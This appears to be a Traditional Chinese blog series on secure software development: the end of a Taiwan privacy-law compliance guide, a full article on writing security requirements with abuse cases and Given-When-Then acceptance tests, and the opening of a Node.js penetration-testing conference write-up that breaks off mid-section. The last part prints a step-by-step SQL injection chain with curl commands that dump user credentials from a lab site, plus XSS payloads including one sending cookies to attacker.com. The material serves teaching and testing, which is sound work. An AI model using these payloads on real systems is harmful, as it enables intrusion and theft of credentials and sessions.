Scenario: 使用者要求刪除帳號
Given 使用者已登入並進入帳號管理頁面
When 使用者點擊「刪除帳號」並確認
Then 系統應在 15 個工作日內完成以下操作:
- 刪除個人識別資訊(姓名、Email、手機)
- 交易紀錄去識別化(保留帳務記錄但移除個資)
- 撤銷所有有效的 JWT 與 Session
- 發送確認信至使用者 Email
# SAC-LC-04:信用卡資料保護
Scenario: 信用卡號不得以明碼存儲
Given 系統資料庫中存有信用卡資訊
When 直接查詢資料庫的信用卡欄位
Then 應只能看到加密後的密文
And API 回傳的信用卡資訊必須遮蔽為 **** **** **** 末四碼
# SAC-LC-05:日誌不得記錄敏感資料
Scenario: 日誌中不包含信用卡號與密碼
Given 使用者進行登入或支付操作
When 系統記錄操作日誌
Then 日誌中不得包含完整信用卡號
And 日誌中不得包含使用者密碼(含雜湊值)
And 日誌中手機號碼須遮蔽為 09XX-XXX-567
七、法規遵循 Checklist:開發者可以直接用的檢核清單
以下是一份可以直接用於專案的法規遵循檢核清單:
個資法遵循 Checklist
## 蒐集階段
- [ ] 隱私權政策已撰寫並放置於系統可見位置
- [ ] 註冊 / 蒐集流程中有明確的告知與同意機制
- [ ] 行銷用途的同意與服務同意分開取得
- [ ] 同意紀錄(時間、版本、IP)已儲存
## 處理與利用階段
- [ ] 個資使用未超出告知的蒐集目的
- [ ] 特種個資有額外的保護與同意機制
- [ ] 資料存取有權限控制(最小權限原則)
- [ ] 敏感資料已加密存儲
## 當事人權利
- [ ] 提供個資查詢功能
- [ ] 提供個資更正功能
- [ ] 提供帳號 / 個資刪除功能
- [ ] 提供個資匯出功能
- [ ] 權利行使的回覆時限在 15 日內
## 安全維護
- [ ] 已制定個人資料檔案安全維護計畫
- [ ] 傳輸使用 TLS 1.2+
- [ ] 密碼以安全雜湊演算法存儲
- [ ] 有完善的存取日誌機制
- [ ] 日誌中未記錄敏感個資明碼
## 事件應變
- [ ] 有個資外洩通知流程
- [ ] 有事件分級與通報機制
- [ ] 定期演練事件應變流程
資安法遵循 Checklist(適用於承接公務機關專案或特定非公務機關)
## 系統開發階段
- [ ] 開發需求規格已納入資安要求
- [ ] 使用者輸入已做驗證與過濾
- [ ] 上線前已執行原始碼掃描(SAST)
- [ ] 上線前已執行弱點掃描(DAST)
- [ ] 未使用被列為「危害國安」的產品或套件
## 系統運維階段
- [ ] 已建立資安事件分級與通報流程
- [ ] 日誌保存符合規定期限
- [ ] 定期辦理弱點掃描與修補
- [ ] 委外廠商合約載明資安要求
## 人員與組織
- [ ] 已設置資安專責人員(依級別)
- [ ] 資安人員有定期教育訓練
- [ ] 全員完成資安意識宣導
八、團隊落地建議:讓法規遵循變成開發日常
建議一:在 Spec Review 中加入「法規檢查點」
如果你已經在做 SDD(規格驅動開發),在 spec.md 的模板中加入一個「法規遵循」區塊:
## 法規遵循(Legal Compliance)
### 涉及的個資類別
- [ ] 基本識別資訊
- [ ] 聯絡資訊
- [ ] 財務資訊
- [ ] 特種個資
- [ ] 其他:___
### 個資法要求
- [ ] 已確認蒐集目的與告知方式
- [ ] 已確認同意取得機制
- [ ] 已確認當事人權利行使機制
### 產業規範
- [ ] 不適用
- [ ] 金融業規範
- [ ] 上市櫃資安管控指引
- [ ] 其他:___
建議二:建立「法規需求對照表」
每個專案開始時,花 30 分鐘做一份法規需求對照表,把法規要求對應到具體的技術實作:
| 法規要求 | 技術實作 | 負責人 | 完成狀態 |
|---|---|---|---|
| 個資法 §8 告知義務 | 隱私政策頁面 + 同意 Checkbox | 前端工程師 | ⬜ |
| 個資法 §27 安全維護 | AES-256 加密 + Argon2 雜湊 | 後端工程師 | ⬜ |
| 資安管控指引 – 原始碼掃描 | CI/CD 整合 SonarQube | DevOps | ⬜ |
建議三:把法規測試納入 CI/CD
某些法規要求可以自動化驗證:
// 範例:自動化測試確認 API 回應不洩漏敏感資料
describe('法規遵循 - 個資保護', () => {
it('API 回應中信用卡號應被遮蔽', async () => {
const res = await request(app)
.get('/api/me/payment-methods')
.set('Authorization', <code class="kb-btn">Bearer ${token}</code>);
res.body.cards.forEach(card => {
// 信用卡號應被遮蔽,只顯示末四碼
expect(card.number).toMatch(/^\*{4}\s\*{4}\s\*{4}\s\d{4}$/);
});
});
it('日誌中不應包含密碼', async () => {
await request(app)
.post('/api/auth/login')
.send({ email: 'test@test.com', password: 'MyP@ssw0rd123' });
const logs = await getRecentLogs();
logs.forEach(log => {
expect(log.message).not.toContain('MyP@ssw0rd123');
});
});
});
建議四:每季做一次法規更新同步
台灣的資安與個資法規正在快速演進(2025 年就有個資法和資安法的重大修正)。建議每季花一個小時,掃一下法規動態,確認你的系統是否需要調整。
九、常見問題 FAQ
Q1:我們是小公司,個資法也管得到嗎?
A:是的。個資法適用於所有蒐集、處理、利用個人資料的組織,不論規模大小。只要你的系統有使用者註冊、存了使用者的 Email 或手機號碼,就在管轄範圍內。差別在於,個資保護委員會未來可能會依組織規模制定不同程度的管理要求。
Q2:我們不是政府單位也不是關鍵基礎設施,資安法跟我無關?
A:直接管轄可能無關,但如果你承接政府專案、是上市櫃公司、或者你的客戶是受管轄的機關,資安法的要求會間接影響你。而且,上市櫃公司的「資通安全管控指引」對所有上市櫃公司都有約束力。
Q3:個資法和 GDPR 有什麼差異?如果同時要遵守兩者怎麼辦?
A:主要差異在於:GDPR 有更明確的「被遺忘權」與「資料可攜權」、更嚴格的跨境傳輸規定、以及更高的罰鍰上限(最高全球營業額 4%)。如果你的系統同時處理台灣與歐盟使用者的資料,建議以較嚴格的 GDPR 為基準設計,這樣同時能滿足個資法的要求。
Q4:違反個資法最嚴重會怎樣?
A:民事方面,依據個資法第 28 條,同一事件被害人的損害賠償總額最高 NT$2 億元(所涉利益超過 2 億元者,以該所涉利益為限),且支持團體訴訟。刑事方面,意圖營利的違法行為最重可處 5 年以下有期徒刑,併科 NT$100 萬以下罰金,且為非告訴乃論。2025 年修正後新增了個資事故通報義務,未依規定通報個資會將直接面臨行政裁罰,且個資會可毋庸先令限期改正即逕行處罰——這代表不再有「被警告一次再改」的緩衝空間。
📌 法條參考:個資法第 28 條(第四章 損害賠償及團體訴訟)
公務機關違反本法規定,致個人資料遭不法蒐集、處理、利用或其他侵害當事人權利者,負損害賠償責任。但損害因天災、事變或其他不可抗力所致者,不在此限。
被害人雖非財產上之損害,亦得請求賠償相當之金額;其名譽被侵害者,並得請求為回復名譽之適當處分。
依前二項情形,如被害人不易或不能證明其實際損害額時,得請求法院依侵害情節,以每人每一事件新臺幣五百元以上二萬元以下計算。
對於同一原因事實造成多數當事人權利受侵害之事件,經當事人請求損害賠償者,其合計最高總額以新臺幣二億元為限。但因該原因事實所涉利益超過新臺幣二億元者,以該所涉利益為限。
同一原因事實造成之損害總額逾前項金額時,被害人所受賠償金額,不受第三項所定每人每一事件最低賠償金額新臺幣五百元之限制。
第二項請求權,不得讓與或繼承。但以金額賠償之請求權已依契約承諾或已起訴者,不在此限。
十、結語:法規不是枷鎖,是信任的基石
回到 SSDLC 的核心理念——安全不是恐懼,而是創造的基礎。法規遵循也是一樣。
個資法不是來找你麻煩的,它是告訴你:使用者信任你保管他們的資料,你有責任好好保護。資安法也不是製造官僚,它是在說:當整個社會越來越依賴數位系統,你的系統安全就是公共安全的一部分。
法規合規不需要一步到位。就像蓋房子要先拿到建照才能動工,你也可以:
- 先了解:花一個下午讀完這篇文章,搞清楚你的系統碰到哪些法規
- 再盤點:用 Checklist 檢查目前的合規狀態
- 逐步補齊:從風險最高的地方開始,一個一個修
當你的系統不只技術上安全,法規上也合規,你就在告訴使用者和客戶:「我值得你信賴。」
這份信任,是任何技術都買不到的競爭力。
延伸閱讀
台灣法規原文:
主管機關資源:
系列文章:
國際參考:
[安全需求] 002 如何撰寫安全需求規格書?從使用者故事到安全驗收標準:Abuse Case 實戰教學
你不需要成為資安專家才能寫好安全需求。
你只需要學會一件事——在寫「使用者可以做什麼」的同時,問自己「攻擊者會怎麼做」。
一、安全需求規格書是什麼?為什麼你應該在乎?
想像你委託建築師蓋一棟房子。你跟他說:「我要三房兩廳、採光好、有車庫。」建築師照做了,房子蓋得漂亮,但你搬進去才發現——大門沒有鎖、窗戶沒有裝柵欄、後門直接通向公共巷弄。
你會說:「可是我沒有要求裝鎖啊!」
問題就在這裡。你沒有說,所以他沒有做。
軟體開發也是一樣。當你只寫了功能需求(使用者可以登入、可以下單、可以上傳檔案),卻沒有寫安全需求(密碼要怎麼存、誰可以看到訂單、上傳的檔案要不要掃毒),那就等於蓋了一棟沒有門鎖的房子。
安全需求規格書就是在功能需求旁邊,明確寫出「這個功能的安全防線在哪裡」的文件。它不是另一份獨立文件,而是跟功能需求共生共長的安全說明。
在 SSDLC 的七大階段中,安全需求定義是第一階段,也是影響最深遠的階段。根據 IBM 的研究,在需求階段修復一個安全缺陷的成本,只有上線後才修復的 1/30 到 1/100。換句話說,你現在花一小時寫安全需求,可以幫未來的你省下一百小時的修補地獄。
二、傳統需求 vs. 安全需求:差在哪裡?
很多開發者會說:「我有寫需求啊!」但讓我們來看看傳統需求和加入安全考量的需求有什麼不同:
範例:會員登入功能
傳統功能需求:
使用者可以用 Email 和密碼登入系統。
忘記密碼時,可以透過 Email 重設密碼。
看起來沒問題對吧?但如果你是攻擊者,你會怎麼想?
攻擊者的內心獨白:
「密碼有長度限制嗎?我來暴力破解看看。」
「錯誤幾次會鎖帳號嗎?沒有的話我可以一直試。」
「重設密碼的連結會過期嗎?不會的話我撿到舊連結就能用。」
「登入失敗會跟我說是帳號錯還是密碼錯嗎?這樣我可以先確認帳號存不存在。」
加入安全需求後的規格:
使用者可以用 Email 和密碼登入系統。
安全需求:
- 密碼至少 12 碼,需包含大小寫英文、數字與特殊符號。
- 密碼以 Argon2id 雜湊後存入資料庫,禁止明碼儲存。
- 連續登入失敗 5 次,帳號鎖定 15 分鐘。
- 登入失敗訊息統一為「帳號或密碼錯誤」,不得透露哪一項有誤。
- 成功登入後簽發 JWT,有效期限 30 分鐘,Refresh Token 7 天。
- 所有登入行為(成功與失敗)須記錄於 security_log,包含 IP 與 User-Agent。
- 重設密碼連結 30 分鐘後失效,且僅能使用一次。
- 重設密碼後,所有已簽發的 JWT 與 Session 必須失效。
看到差別了嗎?安全需求不是另一份文件,而是功能需求的安全標注。
三、從使用者故事到 Abuse Case:學會用攻擊者的腦袋思考
3.1 使用者故事(User Story):正常人怎麼用
使用者故事是敏捷開發中最常見的需求表達方式:
作為一個(角色),我想要(功能),以便(價值)。
例如:
作為一個買家,我想要上傳商品照片,以便賣家能看到我要退貨的商品狀況。
這描述了正常使用者的行為。但在 SSDLC 裡,我們需要多問一個問題:
「如果使用者不正常呢?」
3.2 Abuse Case(濫用案例):壞人怎麼玩
Abuse Case 是使用者故事的邪惡雙胞胎。它的格式是:
作為一個(攻擊者角色),我想要(攻擊行為),以便(惡意目的)。
讓我們用上面的退貨照片功能來示範:
| 使用者故事(正常) | Abuse Case(攻擊) |
|---|---|
| 作為買家,我想上傳商品照片 | 作為攻擊者,我想上傳一個偽裝成 .jpg 的 PHP 後門程式 |
| 作為買家,我想上傳多張照片 | 作為攻擊者,我想上傳 1000 張超大檔案,癱瘓伺服器 |
| 作為買家,我想在退貨說明中輸入文字 | 作為攻擊者,我想在說明欄注入 <code><script></code> 竊取賣家 Cookie |
| 作為買家,我想查看自己的退貨紀錄 | 作為攻擊者,我想修改 URL 中的 ID 查看別人的退貨紀錄 |
這就是 Abuse Case 的威力——它逼你站在攻擊者的角度,思考每一個功能可能被如何濫用。
3.3 實戰演練:為常見功能寫 Abuse Case
讓我們用台灣常見的應用場景來練習:
功能:線上轉帳
| 正常使用者故事 | Abuse Case |
|---|---|
| 作為用戶,我想轉帳給朋友 | 作為攻擊者,我想竄改轉帳金額或收款帳號(MITM) |
| 作為用戶,我想查看轉帳明細 | 作為攻擊者,我想透過 IDOR 查看他人轉帳明細 |
| 作為用戶,我想設定常用帳號 | 作為攻擊者,我想透過 CSRF 讓受害者新增我的帳號為常用帳號 |
功能:商品評論
| 正常使用者故事 | Abuse Case |
|---|---|
| 作為買家,我想留下商品評論 | 作為攻擊者,我想在評論中植入 Stored XSS |
| 作為買家,我想上傳評論附圖 | 作為攻擊者,我想透過圖片的 EXIF 資訊進行 XXE 攻擊 |
| 作為店家,我想回覆評論 | 作為競爭對手,我想用機器人大量灌入負面評論 |
飛飛觀點:
每寫一條使用者故事,就寫至少兩條 Abuse Case。
這不是悲觀,這是專業。
消防員不會因為「覺得不會失火」就不帶滅火器。
四、安全驗收標準:讓安全需求「可測試」
安全需求寫得再漂亮,如果沒辦法驗證,就只是一句美麗的口號。
安全驗收標準就是把模糊的安全需求,轉化成可以回答「是或否」的測試條件。
4.1 從模糊到精確
| 模糊的安全需求(不好) | 精確的安全驗收標準(好) |
|---|---|
| 密碼要夠強 | 密碼至少 12 碼,包含大寫、小寫、數字、特殊符號各至少一個 |
| 要防止暴力破解 | 同一帳號連續 5 次登入失敗,鎖定 15 分鐘;同一 IP 每分鐘最多嘗試 10 次 |
| 資料要加密 | 靜態資料使用 AES-256 加密;傳輸中資料使用 TLS 1.2 以上 |
| 要有權限控制 | 一般用戶無法存取 <code>/admin/*</code> 路徑;API 回應中不包含其他用戶的資料 |
| 要記錄日誌 | 登入成功/失敗、權限變更、資料匯出等操作須記錄,日誌保留 90 天 |
4.2 安全驗收標準的寫法公式
每一條安全驗收標準都應該包含三個要素:
【Given】在什麼情境下
【When】發生什麼事
【Then】系統應該怎麼回應
這就是 BDD(Behavior-Driven Development)的 Given-When-Then 格式,但我們把它用在安全情境上。
範例:防止暴力破解
Scenario: 帳號鎖定機制
Given 使用者 "test@example.com" 存在於系統中
When 連續以錯誤密碼嘗試登入 5 次
Then 系統應回傳「帳號已暫時鎖定,請 15 分鐘後再試」
And 第 6 次即使輸入正確密碼也應拒絕登入
And security_log 中應記錄 5 次失敗紀錄與鎖定事件
範例:防止越權存取(IDOR)
Scenario: 使用者無法查看他人訂單
Given 使用者 A 已登入,擁有訂單 #1001
And 使用者 B 擁有訂單 #1002
When 使用者 A 嘗試存取 GET /api/orders/1002
Then 系統應回傳 HTTP 403 Forbidden
And 回應內容不得包含訂單 #1002 的任何資料
範例:防止 SQL Injection
Scenario: 搜尋功能抵擋 SQL Injection
Given 系統提供商品搜尋 API
When 使用者在搜尋欄輸入 "' OR 1=1; --"
Then 系統應正常回傳空結果或無匹配商品
And 不得回傳資料庫錯誤訊息
And 不得回傳非預期的大量資料
範例:敏感資料處理
Scenario: API 不洩露密碼欄位
Given 使用者 A 已登入
When 使用者 A 存取 GET /api/users/me
Then 回應 JSON 不得包含 "password" 欄位
And 回應 JSON 不得包含 "password_hash" 欄位
And 身分證字號應以遮蔽格式回傳(如 A123****89)
4.3 針對 Abuse Case 撰寫驗收標準
還記得前面的 Abuse Case 嗎?每一條 Abuse Case 都應該對應至少一條安全驗收標準:
Abuse Case:攻擊者上傳偽裝的後門程式
Scenario: 檔案上傳安全驗證
Given 系統提供圖片上傳功能
When 使用者上傳一個副檔名為 .jpg 但內容為 PHP 的檔案
Then 系統應拒絕上傳並回傳「檔案格式不支援」
And 系統不得僅依副檔名判斷檔案類型,須驗證 MIME Type 與 Magic Number
And 上傳的檔案須經過 ClamAV 掃描
And 檔案須儲存於非 Web 可直接存取的目錄
Abuse Case:攻擊者透過評論植入 XSS
Scenario: 商品評論防禦 XSS
Given 系統提供商品評論功能
When 使用者在評論中輸入 "<script>alert('XSS')</script>"
Then 評論應正常儲存,但顯示時 HTML 標籤須被轉義
And 頁面不得執行任何注入的 JavaScript
And Content-Security-Policy Header 應限制 inline script 執行
五、安全需求規格書的完整模板
把前面學到的觀念整合起來,以下是一個完整的安全需求規格模板。你可以直接用在你的專案中:
# [功能名稱] 安全需求規格
## 1. 功能概述
- 簡短描述這個功能做什麼
## 2. 使用者故事
- 作為 [角色],我想要 [功能],以便 [價值]
## 3. Abuse Cases(濫用情境)
| 編號 | 攻擊者角色 | 攻擊行為 | 惡意目的 | 風險等級 |
|------|-----------|---------|---------|---------|
| AC-01 | 外部攻擊者 | ... | ... | 高/中/低 |
| AC-02 | 惡意用戶 | ... | ... | 高/中/低 |
## 4. 安全需求
### 4.1 認證與授權
- 此功能需要哪種認證?(JWT / Session / API Key)
- 哪些角色可以使用?(Admin / User / Guest)
### 4.2 輸入驗證
- 各欄位的驗證規則(型態、長度、格式、白名單)
- 伺服器端驗證(必須,不能只靠前端)
### 4.3 資料保護
- 哪些欄位是敏感資料?如何加密或遮蔽?
- 傳輸過程是否強制 HTTPS?
### 4.4 錯誤處理
- 錯誤訊息是否避免洩露系統內部資訊?
- 是否有統一的錯誤回應格式?
### 4.5 日誌與稽核
- 哪些操作需要記錄?
- 日誌中是否排除敏感資料(密碼、Token)?
### 4.6 速率限制
- API 是否設定 Rate Limit?
- 閾值是多少?超過時如何回應?
## 5. 安全驗收標準
| 編號 | 對應 Abuse Case | 驗收條件 (Given-When-Then) | 測試方式 |
|------|----------------|--------------------------|---------|
| SAC-01 | AC-01 | Given...When...Then... | 自動化/手動 |
| SAC-02 | AC-02 | Given...When...Then... | 自動化/手動 |
## 6. 相關法規與標準
- 個資法適用條款
- OWASP Top 10 對應項目
- 產業特定規範(如金管會、衛福部)
六、實戰案例:台灣電商網站的退貨功能
讓我們用一個完整的案例,把前面學到的所有觀念串起來。
功能概述
某台灣電商平台要開發「線上退貨申請」功能,買家可以在訂單頁面申請退貨,上傳商品照片,填寫退貨原因,系統自動計算退款金額。
使用者故事
作為買家,我想要在線上申請退貨並上傳商品照片,以便不用跑實體店面就能完成退貨。
作為客服,我想要審核退貨申請與照片,以便判斷是否符合退貨條件。
作為系統,退貨通過後自動計算退款金額並退回原付款方式。
Abuse Cases
| 編號 | 攻擊者角色 | 攻擊行為 | 惡意目的 | 風險等級 |
|---|---|---|---|---|
| AC-01 | 惡意買家 | 竄改退貨 API 的訂單金額參數 | 取得超額退款 | 高 |
| AC-02 | 外部攻擊者 | 上傳偽裝成圖片的 Web Shell | 取得伺服器控制權 | 高 |
| AC-03 | 惡意買家 | 修改 URL 中的訂單 ID 查看/操作他人退貨申請 | 竊取他人個資或干擾退貨流程 | 高 |
| AC-04 | 外部攻擊者 | 在退貨原因欄位植入 XSS Payload | 竊取客服人員的 Session Cookie | 中 |
| AC-05 | 惡意買家 | 對退貨 API 發送大量請求 | 造成系統負載過重、阻斷服務 | 中 |
| AC-06 | 惡意買家 | 重複提交同一筆退貨申請 | 取得多次退款 | 高 |
安全需求
認證與授權:
- 退貨 API 須驗證 JWT Token,且 Token 中的 <code>user_id</code> 需與訂單所有者一致。
- 客服審核 API 需驗證角色為 <code>customer_service</code> 或 <code>admin</code>。
- 退款金額由後端根據訂單資料庫計算,前端傳送的金額參數不得採信。
輸入驗證:
- 退貨原因文字限 500 字以內,禁止 HTML 標籤。
- 上傳照片僅接受 .jpg、.png,單檔上限 5MB,最多 5 張。
- 照片須驗證 MIME Type 與 Magic Number,禁止副檔名偽裝。
資料保護:
- API 回應中,買家僅能看到自己的退貨申請。
- 退貨紀錄中的付款資訊以遮蔽格式顯示(如信用卡 <code>**** **** **** 1234</code>)。
日誌與稽核:
- 記錄每筆退貨申請的建立、審核、退款操作。
- 日誌中不得包含完整信用卡號或 CVV。
速率限制:
- 同一用戶每小時最多提交 3 筆退貨申請。
- 同一 IP 每分鐘最多 30 次 API 請求。
冪等性設計:
- 退貨申請使用唯一的冪等鍵(Idempotency Key),防止重複提交導致多次退款。
安全驗收標準
# SAC-01:防止退款金額竄改(對應 AC-01)
Scenario: 後端計算退款金額,忽略前端參數
Given 訂單 #2001 的實際金額為 NT$1,500
When 攻擊者在退貨 API 請求中將 refund_amount 改為 15,000
Then 系統應根據資料庫的訂單金額計算退款為 NT$1,500
And 忽略請求中的 refund_amount 參數
# SAC-02:防止惡意檔案上傳(對應 AC-02)
Scenario: 拒絕偽裝成圖片的惡意檔案
Given 系統提供退貨照片上傳功能
When 攻擊者上傳副檔名為 .jpg 但內容為 PHP 的檔案
Then 系統應拒絕上傳並回傳錯誤
And 上傳的檔案不得被存放於 Web Root 目錄下
# SAC-03:防止越權存取(對應 AC-03)
Scenario: 使用者無法操作他人的退貨申請
Given 買家 A 的退貨申請編號為 #R-5001
When 買家 B 嘗試存取 GET /api/returns/R-5001
Then 系統應回傳 HTTP 403
And 回應中不得包含退貨申請 #R-5001 的任何資料
# SAC-04:防止 XSS 攻擊(對應 AC-04)
Scenario: 退貨原因欄位防禦 XSS
Given 買家在退貨原因中輸入 "<img src=x onerror=alert(1)>"
When 客服人員查看此退貨申請
Then 頁面上應顯示轉義後的純文字,不得執行 JavaScript
And HTTP Response 包含 Content-Security-Policy Header
# SAC-05:防止重複退款(對應 AC-06)
Scenario: 冪等鍵防止重複退貨申請
Given 買家對訂單 #2001 提交退貨申請,冪等鍵為 "abc-123"
When 買家使用相同冪等鍵再次提交退貨申請
Then 系統應回傳第一次申請的結果
And 資料庫中僅存在一筆退貨申請
七、將安全需求融入團隊日常的實務建議
知道怎麼寫是一回事,讓團隊真的去寫又是另一回事。以下是讓安全需求規格書真正落地的務實做法:
第一步:在 Sprint Planning 加入「安全腦暴」環節
每次 Sprint Planning 討論新功能時,花 10 分鐘做 Abuse Case 腦力激盪。規則很簡單——每個人輪流說一句「作為攻擊者,我會…」,不管多天馬行空都記下來,之後再過濾優先順序。
這個環節的重點不是找到所有攻擊,而是培養團隊用攻擊者角度思考的習慣。就像武術訓練不是為了打架,而是讓身體記住防禦的反射。
第二步:建立安全需求 Checklist
不是每個功能都需要從零開始想安全需求。準備一份 Checklist,讓開發者對照確認:
□ 此功能是否涉及使用者認證?→ 確認認證機制
□ 此功能是否接受使用者輸入?→ 定義輸入驗證規則
□ 此功能是否處理敏感資料?→ 確認加密與遮蔽方式
□ 此功能是否有檔案上傳?→ 定義檔案類型與大小限制
□ 此功能是否涉及金流?→ 確認冪等性與金額驗證
□ 此功能是否有權限區分?→ 定義各角色的存取範圍
□ 此功能是否對外暴露 API?→ 定義 Rate Limit 與認證方式
□ 此功能的錯誤訊息是否可能洩露系統資訊?→ 定義錯誤回應格式
第三步:讓安全驗收標準成為 Definition of Done 的一部分
在團隊的 Definition of Done(DoD)中加入:
✅ 功能需求已完成
✅ 單元測試通過
✅ Code Review 通過
✅ 安全需求已定義且通過審查 ← 加這個
✅ 安全驗收標準測試通過 ← 加這個
當安全驗收標準成為「完成的定義」之一,團隊就不會把它當成「有空再做」的事了。
第四步:自動化安全驗收測試
很多安全驗收標準可以寫成自動化測試,整合進 CI/CD Pipeline:
// 使用 Jest + Supertest 測試安全驗收標準
describe('SAC-03: 防止越權存取', () => {
it('使用者無法查看他人退貨申請', async () => {
// Given: 買家 B 的 Token
const tokenB = await loginAs('buyer_b@example.com');
// When: 嘗試存取買家 A 的退貨申請
const response = await request(app)
.get('/api/returns/R-5001')
.set('Authorization', <code class="kb-btn">Bearer ${tokenB}</code>);
// Then: 應回傳 403
expect(response.status).toBe(403);
expect(response.body).not.toHaveProperty('refund_amount');
expect(response.body).not.toHaveProperty('reason');
});
});
describe('SAC-04: 防止 XSS', () => {
it('退貨原因中的 HTML 標籤應被轉義', async () => {
const token = await loginAs('buyer_a@example.com');
const maliciousInput = '<script>alert("XSS")</script>';
// When: 提交含有 XSS payload 的退貨申請
const createResponse = await request(app)
.post('/api/returns')
.set('Authorization', <code class="kb-btn">Bearer ${token}</code>)
.send({ order_id: '2001', reason: maliciousInput });
// Then: 讀取時應為轉義後的文字
const getResponse = await request(app)
.get(<code class="kb-btn">/api/returns/${createResponse.body.id}</code>)
.set('Authorization', <code class="kb-btn">Bearer ${token}</code>);
expect(getResponse.body.reason).not.toContain('<script>');
});
});
八、常見問題 FAQ
Q1:每個功能都要寫 Abuse Case 嗎?不會太花時間?
不需要每個功能都寫到鉅細靡遺。建議根據風險等級來決定深度:
| 風險等級 | 功能類型 | Abuse Case 深度 |
|---|---|---|
| 高 | 涉及金流、個資、認證、檔案上傳 | 完整 Abuse Case + 安全驗收標準 |
| 中 | 涉及使用者輸入、API 對外暴露 | 至少 2-3 條 Abuse Case |
| 低 | 純展示性頁面、靜態內容 | 快速 Checklist 確認即可 |
重點不是寫多少,而是養成思考的習慣。
Q2:我不是資安專家,怎麼知道該防什麼?
你不需要是資安專家。參考以下資源就能涵蓋八成以上的常見威脅:
- OWASP Top 10:每個 Web 開發者都該知道的十大風險
- OWASP ASVS(Application Security Verification Standard):更詳細的安全驗證標準
- OWASP Cheat Sheet Series:各種安全主題的防禦速查表
從這些資源出發,對照你的功能,就能列出大部分需要防範的攻擊。
Q3:安全需求跟功能需求衝突怎麼辦?
最常見的衝突是「使用者體驗 vs. 安全性」。例如:密碼太複雜使用者記不住,二次驗證太麻煩使用者不想用。
解法是根據風險等級做分級:
- 轉帳、修改密碼等高風險操作:安全優先,即使犧牲些便利性
- 瀏覽商品、加入購物車等低風險操作:體驗優先,安全在背景進行
安全和體驗不是非此即彼,而是在不同情境下找到合適的平衡點。
Q4:既有的舊專案怎麼補寫安全需求?
不要試圖一次補完所有功能的安全需求。建議的優先順序:
- 最先補:處理金流、個資的功能
- 其次補:對外暴露的 API、認證相關功能
- 再其次:有使用者輸入的功能
- 最後補:內部工具、管理後台
每次迭代時,順帶補上你正在修改的功能的安全需求,逐步累積。
九、結語:安全需求不是額外工作,是需求的完整表達
很多開發者把安全需求當成「額外的負擔」,但換個角度想——你寫的功能需求說「使用者可以登入」,卻沒說密碼怎麼存,這其實是需求不完整,不是安全問題。
安全需求規格書的本質,是讓需求從「能用」進化到「能安全地用」。
就像建築師不會只畫出房間的位置而不標示防火通道和逃生路線,軟體工程師也不應該只定義功能而不定義防護。
從今天開始,每寫一條使用者故事,就多問自己一句:
「如果攻擊者看到這個功能,他會怎麼做?」
這個習慣,就是安全需求的起點。
延伸閱讀
[Conf] 001 從攻擊到防禦:Node.js 網站安全與滲透測試實戰指南
本文整理自 JSDC 2025(JavaScript Developer Conference) 演講「從攻擊到防禦:系統化學習網站安全與滲透測試的實戰思維」,講者為林子婷(飛飛)。文章包含完整的攻擊 Payload 與實作環境,供讀者實際練習。
活動資訊:JSDC 2025 | 2025/11/29 | https://2025.jsdc.tw
前言
當我們在做滲透測試的時候,第一步永遠是資訊收集。有一次我在測試一個網站時,發現 HTTP Response 中出現了這樣的內容:
X-Powered-By: Express
Server: nginx/1.18.0 (Ubuntu)
這告訴我兩件事:後端是 Node.js(Express 框架),伺服器是 Nginx。
但知道這是 Node.js,真的改變了什麼嗎?
這個問題貫穿了整場演講,也是本文想要探討的核心。
實驗環境
本文所有攻擊都可以在以下環境中實際練習:
⚠️ 警告:請僅在授權的測試環境中練習,切勿對未經授權的系統進行測試。
第一部分:攻擊者視角
一、識別 Node.js 的方法
在開始攻擊之前,我們需要先確認目標的技術。以下是識別 Node.js 的幾種方法:
1.1 HTTP Response Headers
curl -I https://nodelab.feifei.tw
觀察回應中的:
- X-Powered-By: Express — 最直接的線索
- Server: nginx — 配合其他線索判斷
1.2 Cookie 命名慣例
打開瀏覽器開發者工具 → Application → Cookies,觀察:
- connect.sid — Express Session 的預設名稱
1.3 錯誤訊息洩漏
故意觸發錯誤,觀察 Stack Trace 中是否包含:
- node_modules
- at Object.<anonymous>
- Express 相關路徑
1.4 使用 Wappalyzer
安裝瀏覽器擴充套件 Wappalyzer,它會自動分析並顯示網站使用的技術。
二、通用漏洞(與語言無關)
以下漏洞無論後端是什麼語言都會測試,佔滲透測試發現漏洞的 60-70%。
2.1 SQL Injection
Lab 路徑:https://nodelab.feifei.tw/api/articles/
漏洞程式碼:
// 不安全的寫法 - 字串拼接
const query = SELECT * FROM articles WHERE id = ${req.params.id};
攻擊流程:
Step 1:探測漏洞
curl "https://nodelab.feifei.tw/api/articles/'"
如果回傳詳細錯誤訊息,表示可能存在 SQL Injection。
Step 2:確定欄位數量(ORDER BY)
# 測試 ORDER BY 1 到 ORDER BY 7
curl "https://nodelab.feifei.tw/api/articles/1 ORDER BY 6-- -" # 成功
curl "https://nodelab.feifei.tw/api/articles/1 ORDER BY 7-- -" # 失敗
# 結論:有 6 個欄位
Step 3:取得資料庫版本
curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,version(),null,null,null,null-- -"
Step 4:列出所有資料表
curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(table_name,','),null,null,null,null FROM information_schema.tables WHERE table_schema='public'-- -"
Step 5:取得 users 表的欄位
curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(column_name,','),null,null,null,null FROM information_schema.columns WHERE table_name='users'-- -"
Step 6:取得帳號密碼
curl "https://nodelab.feifei.tw/api/articles/0 UNION SELECT null,string_agg(username||':'||password,','),null,null,null,null FROM users-- -"
預期結果:
test:password123,admin:secret1
2.2 XSS(跨站腳本攻擊)
反射型 XSS
Lab 路徑:https://nodelab.feifei.tw/search
漏洞程式碼:
app.get('/search', (req, res) => {
const keyword = req.query.keyword;
res.send(你搜尋的關鍵字是:${keyword}); // 直接輸出,未轉義
});
攻擊 Payload:
https://nodelab.feifei.tw/search?keyword=<script>alert('XSS')</script>
竊取 Cookie 的 Payload:
https://nodelab.feifei.tw/search?keyword=<img src=x onerror="new Image().src=' https://attacker.com/?c='+document.cookie">
DOM-based XSS
Lab 路徑:https://nodelab.feifei.tw/form
測試 Payload:
| 類型 | Payload | 預期結果 |
|---|---|---|
| HTML 注入 | <h1>這是標題</h1> | 顯示為 H1 標題 |
| CSS 注入 | <style>body{background:red}</style> | 背景變紅 |
| JS 注入 | <script>alert(‘XSS’)</script> | 彈出對話框 |
2.3 JWT 誤用
Lab 路徑:https://nodelab.feifei.tw/api/auth/login
漏洞程式碼:
// 絕對不要這樣寫!
